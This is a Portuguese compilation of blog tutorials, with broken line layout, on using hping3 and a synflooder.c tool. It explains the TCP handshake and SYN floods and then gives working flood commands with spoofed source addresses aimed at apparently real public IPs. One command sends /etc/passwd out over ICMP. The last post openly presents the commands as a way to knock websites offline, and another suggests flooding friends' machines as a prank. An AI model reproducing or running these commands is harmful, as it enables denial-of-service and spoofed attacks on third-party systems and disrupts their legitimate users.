Você está na página 1de 12

Hping3, mais do que somente ping

Se você costuma testar a estabilidade da rede usando o ping, experimente o hping3.

Com o hping3 você pode controlar melhor o uso do ping. Uma opção que costumo usar faz com que centemas de pacotes icmp sejam enviados para o alvo em um segundo. Muito bom para testar a estabilidade da rede, ou para testar o quanto uma máquina aguenta de requisições.

Por exemplo, o comando:

# hping3 -i u1000 8.8.8.8 -c 100 -1

envia 1000 pacotes (-c 1000) icmp (-1) para o alvo (8.8.8.8), cada pacote com um intervalo de

1000 microsegundos (-i u1000). Em outras palavras, 1000 "pings" a cada segundo. O resultado

do comando está resumido abaixo.

#

hping3 -i u1000 8.8.8.8 -c 1000 -1

 

HPING 8.8.8.8 (eth0 8.8.8.8): icmp mode set, 28 headers + 0 data bytes

len=46 ip=8.8.8.8 ttl=57 id=36829 icmp_seq=0 rtt=7.3 ms len=46 ip=8.8.8.8 ttl=57 id=36830 icmp_seq=1 rtt=6.3 ms len=46 ip=8.8.8.8 ttl=57 id=36832 icmp_seq=3 rtt=4.9 ms len=46 ip=8.8.8.8 ttl=57 id=36831 icmp_seq=2 rtt=5.9 ms len=46 ip=8.8.8.8 ttl=57 id=36834 icmp_seq=4 rtt=6.0 ms len=46 ip=8.8.8.8 ttl=57 id=36833 icmp_seq=5 rtt=5.5 ms len=46 ip=8.8.8.8 ttl=57 id=36835 icmp_seq=6 rtt=4.5 ms len=46 ip=8.8.8.8 ttl=57 id=36836 icmp_seq=7 rtt=4.1 ms

 

(

)

 

len=46 ip=8.8.8.8 ttl=57 id=37804 icmp_seq=994 rtt=5.4 ms len=46 ip=8.8.8.8 ttl=57 id=37805 icmp_seq=995 rtt=4.7 ms len=46 ip=8.8.8.8 ttl=57 id=37806 icmp_seq=996 rtt=4.8 ms len=46 ip=8.8.8.8 ttl=57 id=37807 icmp_seq=997 rtt=4.1 ms len=46 ip=8.8.8.8 ttl=57 id=37808 icmp_seq=998 rtt=6.7 ms len=46 ip=8.8.8.8 ttl=57 id=37809 icmp_seq=999 rtt=6.3 ms

 

--- 8.8.8.8 hping statistic ---

 

1000

packets transmitted, 978 packets received, 3% packet loss

round-trip min/avg/max = 1.9/5.8/1002.6 ms

 
#
#

Introdução

O hping é um software poderoso quando se fala de ataque de negação de serviço e para tanto é

preciso conhecer a relação cliente/servidor. As mensagens servidor/cliente são trocadas em 3 vias.

O cliente envia uma requisição de conexão: pacote com flag syn com um determinado número de

sequência x. O servidor recebe o pacote e responde com uma mensagem de reconhecimento: flag syn-ack com um número de sequência x+1 e y. O cliente reconhece o pacote syn-ack com y+1 e a

conexão

está

estabelecida.

Aqui podemos ver um exemplo de estabilização de uma determinada comunicação.

exemplo de estabilização de uma determinada comunicação. Para complementar, a conexão é fechada quando o cliente

Para complementar, a conexão é fechada quando o cliente ou servidor envia um pacote com flag fin ou de forma abrupta com uma flag rst. Com base nestes conhecimentos, um ataque do tipo Syn-

flood ou enxurrada de pacotes é utilizado para desestabilizar ou derrubar recursos computacionais

e

podem

acontecer

em

vários

níveis

do

protocolo

TCP.

O

ataque consiste no envio de uma grande quantidade de pacotes com flags setadas SYN para a

vítima, de tal maneira que a mesma não consiga responder a todos as requisições. Com um grande

número de pacotes SYN apilha de memória sofre um estouro e todas as requisições são desprezadas.

Fazendo de todas estas informações a utilização para testes, em nossa rede, servidores, ou para testar alguns "servidores públicos", IDS, entre outras.

Instalação

Para

a

demonstração

do

uso

do

hping3

utilizei

Fedora

15.

Para

fazer

a

instalação

em

sistemas

baseados

em

RedHat

tais

como

CentOS,

Fedora.

#

yum

install

hping3

ou:

#

wget

 

#

yum

localinstall

*.rpm

Baseadas

em

Debian

e

Ubuntu:

#

wget

#

dpkg

-iv

*.deb

Baseadas

 

em

Slackware:

Parâmetros de utilização

Auxiliadores para port-scan:

-F --fin set FIN flag

-S --syn set SYN flag

-R --rst set RST flag

-P --push set PUSH flag

-A --ack set ACK flag

-U --urg set URG flag

-e assinatura

-a meu IP

-p porta

-I interface de rede utilizada, ex.: hping -I eth1

-p

++22 - Começa uma contagem a

partir da porta de destino 22 vai em ordem crescente 22 23 24 25

-s porta de origem, por padrão ele começa aleatório

-M definir o número de sequência TCP

-SA Uma maneira de ficar transparente

-i intervalo de tempo (caso o alvo tenha um IDs ou iptables com módulo recent)

-i 10 (10 segundos)

-i u10 (10 micro segundos)

-c --count esta opção permite especificar o número de pacotes que queremos enviar

--fast alias de tempo para indicar -i u10000. Para enviar 10 pacotes por segundo

--faster alias de tempo para indicar -i u1.

-n --numeric trata a saída de dados unicamente números, não há resolução de nomes

-w --win Tamanho do pacotes por padrão 64bits

Exemplos

Exemplos básicos

Floodar

com

10mil

syn

um

ip

na

porta

80:

#

hping3

--flood

--syn

-c

10000

-a

1.2.3.4

-p

80

200.157.25.8

DoS - O ataque DoS, tem a ideia de fazer com que a placa de rede, ip, banda, não consiga respirar, fazendo disso uma parada dos serviços, ela simplesmente não consegue mais responder.

#

hping3

--flood

200.157.25.8

DoS com outra TTL - Podemos mudar os nossos "HOPS" para chegar em nosso destino como neste

caso, e fazemos uma inundação de 100 pacotes com ttl 250 para o IP, podemos usar outras tantas

combinações

 

de

uma

linha.

#

hping

--flood

--ttl

250

--count

100

192.168.0.1

Spoof com um falso IP - Esta parte é legal até, podemos mandar milhares de pacotes com outro IP,

não

cheguei

a

testar

em

um

FW

público.

#

hping

--spoof

1.2.3.4

192.168.0.1

(hping

--spoof

FALSOIP

IPQUENTE)

DoS com spoofing - Que tal fazer um DoS e IP spoofing ao mesmo tempo? Colocamos um IP falso

para que o "destino" não desconfie EHEHEHEH. Isso é ate legal de se fazer, com testes interno

funciona

 

perfeitamente.

#

hping

--flood

--spoof

8.8.8.8

--ttl

66

192.168.0.2

Spoof

Loucão

-

HAHHA

que

tal

mandar

várias

inundações

loucamente

para

um

IP?

#

hping3

--spoof

192.168.0.2

--icmp-ts

192.168.0.1

(hping3 --spoof MEUIP --icmp-ts IPDESTINO)

Exemplos mais complexos

Flood com assinatura - No caso ele vai enviar alguns pacotes com esta rotulação podendo ser um

arquivo

ou

simplesmente

 

na

escrita,

como

vemos

nos

exemplos.

#

hping3

--flood

--syn

-a

1.2.3.4

-e

"TESTANDO"

-S

-s

80

192.168.0.1

Monitorando com tcpdump:

 

0x0000:

45c0

006a

9f79

0000

4001

7e97

ac10

01d1

E

j.y @.~

0x0010:

ac10

01d1

0303

590b

0000

0000

4500

004e

Y

E

N

0x0020:

e171

0000

4011

3d6b

ac10

01d1

ac10

01d1

.q @.=k

 
 

0x0030:

0a28

0007

003a

0902

5445

5354

4554

4553

.(

: TESTETES

 

0x0040:

5445

0a00

0000

0000

0000

0000

0000

0000

TE

 

0x0050:

0000

0000

0000

0000

0000

0000

0000

0000

Criando

 

arquivo

de

assinatura:

#

echo

"TESTETESTE"

>

/vat/tmp/assinatura.sig

Enviando

 

o

ataque:

#

hping

-2

-p

7

192.168.0.3

-d

50

-E

/var/tmp/assinatura.sig

Para

monitorar:

# tcpdump -i ethX -nX proto 17

 

0x0000:

45c0

006a

9f79

0000

4001

7e97

ac10

01d1

E

j.y @.~

0x0010:

ac10

01d1

0303

590b

0000

0000

4500

004e

Y

E

N

0x0020:

e171

0000

4011

3d6b

ac10

01d1

ac10

01d1

.q @.=k

 
 

0x0030:

0a28

0007

003a

0902

5445

5354

4554

4553

.(

: TESTETES

 

0x0040:

5445

0a00

0000

0000

0000

0000

0000

0000

TE

 

0x0050:

0000

0000

0000

0000

0000

0000

0000

0000

Transferir informações pelo ICMP - Que parte louca, sim quando esta lendo alguns manuais na

internet

achei

engraçado

esta

parte:

#

hping

192.168.0.3

--icmp

-d

100

--sign

signature

--file

/etc/passwd

Monitorando:

 

#

tcpdump

-i

ethX

-nX

A saída é bem parecida.

Finalizando

Leitura recomendada:

Para amenizar o uso de port-scan a melhor oão é utlizar o PortSentry:

Uma dica a quem utilizar portsentry firewall e proxy tudo em um único servidor, edite o arquivo da

crontab

em

que

o

portsentry

é

executado.

#

vim

/etc/cron.d/portsentry

Neste arquivo ele reinicia o serviço do iptables, isto ira fazer com que sua rede pare, então vai ficar aquele cenário sobe e desce, remova a opção de reiniciar o iptables e deixe somente de reiniciar o serviço do portsentry caso deseja reiniciar o iptables adicione o seu arquivo de firewall na linha.

Visto desta poderosa ferramenta, o mais legal é brincar com seus amigos, na rede eles irão ficar procurando o que pode ser que esta ocasionando o travamento do micro HEHEHHEHE.

Um

forte

abraço,

Marcos

Carraro

No blog você encontra mais informações sobre Linux: marcoscarraro.blogspot.com

1

Para entender o Syn Flood é preciso, mesmo que rapidamente, falar um pouco do TCP.

O protocolo TCP é orientado a conexão: primeiro cliente e servidor se conectam e somente após esta etapa é que os

dados podem ser trocados. Semelhante a um casal, “só podem ter filhos se fizerem sexo”.

A etapa de “discar” no TCP é chamada de handshake de três vias e os flags TCP são usados para sinalizar qual etapa

se está realizando. Antes de qualquer bit de dados, a seguinte troca de pacotes acontece entre cliente e servidor:

1. O cliente envia uma solicitação de conexão, com um pacote TCP sem dados, possuindo o flag de SYN ligado e os

demais desligados. Por causa da presença do flag de SYN, este pacote é conhecido como pacote SYN

2. Se o servidor quiser e puder atender, devolve um pacote ao cliente ainda sem dados, com os flags de SYN e de

ACK ligados. Esta segunda etapa é conhecida como SYN/ACK.

3. Se o cliente ainda quiser manter a conexão, devolve ao servidor um terceiro pacote sem dados, apenas com o flag

de ACK ligado (SYN desligado).

Somente após a terceira etapa é que os dados podem ser trocados.

O

mais importante para entender a gravidade do ataque é saber que o servidor, ao receber o primeiro pacote (SYN),

se

ele quiser atender (exemplo: serviço HTTP, porta 80), precisa antes de responder com o SYN/ACK, alocar

recursos de hardware para atender esta nova conexão.

Como o TCP é um protocolo confiável, que trata de desordenamento e perdas de pacotes, estes recursos não são

poucos, pois envolvem buffers de envio e de recebimento, controle de números seqüenciais, relógios diversos, enfim,

muitos recursos de memória, principalmente.

E o que acontece se uma máquina fizer o SYN (etapa 1), o servidor alocar recursos e responder com o SYN/ACK

(etapa 2) mas o cliente não completa o handshake e não realiza a última etapa? Os recursos ficam alocados?

Ficam, mas não para sempre. O servidor fica esperando o ACK do cliente e se o mesmo não chegar depois de certo

tempo, os recursos são desalocados. Mas o fato é que estes recursos realmente permanecem alocados por algum

tempo, mesmo que curto.

Aí que entra o SYN Flood (tradução literal: inundação de SYN). Nele o atacante gera quantos SYN’s a máquina dele

for capaz e não responde nenhum deles. Tem-se que o servidor vai alocar recursos para cada um, como se fossem

requisições legítimas, só desalocando quando acabar o tempo. É perfeitamente compreensível que o atacante

consegue gerar pacotes de SYN muito mais rapidamente e facilmente do que o servidor consegue tratá-los.

Claro, hoje temos hardware com capacidades de memória e recursos gigantescos, mas não existem recursos infinitos.

“Nada que uma imensidão de bots não consiga fazer parar”. Mais cedo ou mais tarde os recursos se esgotarão e o

servidor ficará incapaz de atender clientes legítimos.

Este é o SYN flood!

—————————————————————————————————

Vamos falar agora do famoso HPING

O HPING é um software poderoso quando se fala de ataque de negação de serviço e para tanto é preciso conhecer a

relação cliente/servidor, ou seja, three-way handshake. As mensagens servidor/cliente são trocadas em 3 vias.

O cliente envia uma requisição de conexão: pacote com flag syn com um determinado número de sequência x. O

servidor recebe o pacote e responde com uma mensagem de reconhecimento: flag syn-ack com um número de

sequência x+1 e y. O cliente reconhece o pacote syn-ack com y+1 e a conexão está estabelecida.

Para complementar, a conexão é fechada quando o cliente ou servidor envia um pacote com flag fin ou de forma

abrupta com uma flag rst. Com base nestes conhecimentos, um ataque do tipo Syn-flood ou enxurrada de pacotes é

utilizado para desestabilizar ou derrubar recursos computacionais e podem acontecer em vários níveis do protocolo

TCP.

O ataque consiste no envio de uma grande quantidade de pacotes com flags setadas SYN para a vítima, de tal maneira

que a mesma não consiga responder a todos as requisições. Com um grande número de pacotes SYN a pilha de

memória sofre um estouro e todas as requisições são desprezadas. NO POST ANTERIOR EU NÃO EXPLIQUEI

SOBRE OS PARAMETROS D HPING, AGORA EU VOU DAR UMA EXPLICADA RAPIDA.

Exemplos de ataque

Exemplo 1:

A sintaxe do comando é a seguinte:

$ hping2 <host da vítima> <parâmetros>

# hping2 23.23.23.2 -p 80 -S -c 3

HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes

len=44 ip=23.23.23.2 ttl=64 DF sport=80 flags=SA seq=0 win=32792 rtt=0.2 ms

len=44 ip=23.23.23.2 ttl=64 DF sport=80 flags=SA seq=1 win=32792 rtt=0.1 ms

len=44 ip=23.23.23.2 ttl=64 DF sport=80 flags=SA seq=2 win=32792 rtt=0.1 ms

Nesta linha disparamos: -p 80 -c 3 (-p aponta a porta de envio dos pacotes e -c count count seta a quantidade de

pacotes). Desta maneira podemos avaliar as respostas do alvo.

Exemplo 2:

# hping2 23.23.23.2 -p 80 -S faster rand-source

HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes

Nesta linha disparamos: -p 80 -S fast rand-source (-S setamos a flag como syn, fast Alias for -i u10000. O Hping

irá enviar 10 pacotes por segundos; rand-source habilita o modo radom e troca o ip de origem dinamicamente).

Desta forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips

diferentes a cada pacote enviado. Até o momento em que este alvo não poderá responder todas as requisições e o

kernel negará o serviço.

Obs.: CUIDADO com o teste utilizando esta linha, pois o host de destino não irá responder caso a segurança

necessária não esteja implementada.

Exemplo 3:

# hping2 23.23.23.2 -p 80 -S faster rand-dest

HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes

Nesta linha disparamos: -p 80 -S fast rand-dest (-S setamos a flag como syn, fast Alias for -i u10000. O Hping irá

enviar 10 pacotes por segundos; rand-dest habilita o modo radom e troca o ip de destino dinamicamente). Desta

forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips alvos

diferentes a cada pacote enviado.

As flags podem ser setadas das seguintes formas:

-F fin Seta FIN tcp flag.

-S syn -Seta SYN tcp flag.

-R rst Seta RST tcp flag.

-P push Seta PUSH tcp flag.

-A ack Seta ACK tcp flag.

-U urg Set URG tcp flag.

-X xmas Set Xmas tcp flag.

Modo de escuta:

-9 listen signature

HPING2 em modo de escuta. Utilizando esta opção o hping aguarda pelo pacote que contém esta assinatura e finaliza

o pacote que contém a assinatura.

Exemplo.:

# hping2 -9 listen 234-09sdflkjs45 -TESThello_word

Fonte: vivaolinux

Méritos tem que ser dados aos autores: cristofe, elgio e eu que trouxe este post para o meu blog

221

Introdução ao ataque com synflooder.c

Iae galera, vou demostrar como realizar um ataque SYN Flood pra derrubar sites (hosts), quem não conhece muito

SYN Flood, recomendo que leia mais sobre o mesmo.

Eu usarei 2 metodos para realizar o ataque, um será usando a ferramenta synflooder.c outro sera usando o hping3

Você pode baixar o hping no link abaixo:

Obs: Para quem usa Debian, é muito fácil de instalar basta digitar:

# apt-get install hping3

Para quem usa OpenSUSE basta digitar:

# yast install hping3

Para quem usa Fedora basta digitar:

# yum install hping3

——————————————————————————————-

Agora o primeiro passo para realizar o ataque com o synflooder.c é compila-lo:

# gcc synflooder.c -o synflooder

Obs: geralmente as pessoas reclaman de dar erro na compilação, uns merda… Pois, basta pegar algumas biblilhotecas

que estarão faltando em alguns casos.

# ./synflooder

Gimme: ./synflooder <host> <port>

# ./synflooder 189.23.199.200 80

Connected No: 0

Connected No: 1

Connected No: 2

Connected No: 3

Connected No: 4

Connected No: 5

Connected No: 6

Connected No: 8

Connected No: 9

Connected No: 10

Connected No: 11

Connected No: 12

Connected No: 13

Connected No: 14

Connected No: 15

Connected No: 16

Depois de um tempo o site ficara impossibilitado de receber mais conexões e qualquer pessoa que tentar entrar no

site, simplesmente não ira conseguir.

Obs: na minha opniao este ataque serve somente para passar medo em alguma pessoa, pois o servidor so fica fora do

ar por alguns minutinhos básicos.

———————————————————————————————

ataque com HPING3

O hping3 é um programa muito util, pode ser usado para manipular o cabeçalho TCP/IP. Sera exatamente isto que

vamos fazer, primeiro vamos spoofar o IP e floodar o alvo.

Atacando

O comando usado sera este:

hping3 flood syn -a ip_falso -e “Message” -S -s porta ip_alvo

Então no konsole vamos fazer assim:

#hping3 flood syn -a 123.123.123.123 -e “Dreamexplo” -S -s 80 201.40.22.164

O resultado sera que o alvo ira ficar OFF:

# hping3 flood syn -a 123.123.123.123 -e “Dreamexplo” -S -s 80 201.40.22.164

HPING 201.40.22.164 (ppp0 201.40.22.164): S set, 40 headers + 16 data bytes

[main] memlockall(): Success

Warning: can’t disable memory paging!

hping in flood mode, no replies will be shown

———————————————————————————————–

Espero que tenham gostado do tutorial.

ESTE FOI O TUTORIAL PRATICO. VOU CRIAR AGORA O TUTORIAL ESPLICATIVO QUE É O MAIS

IMPORTANTE.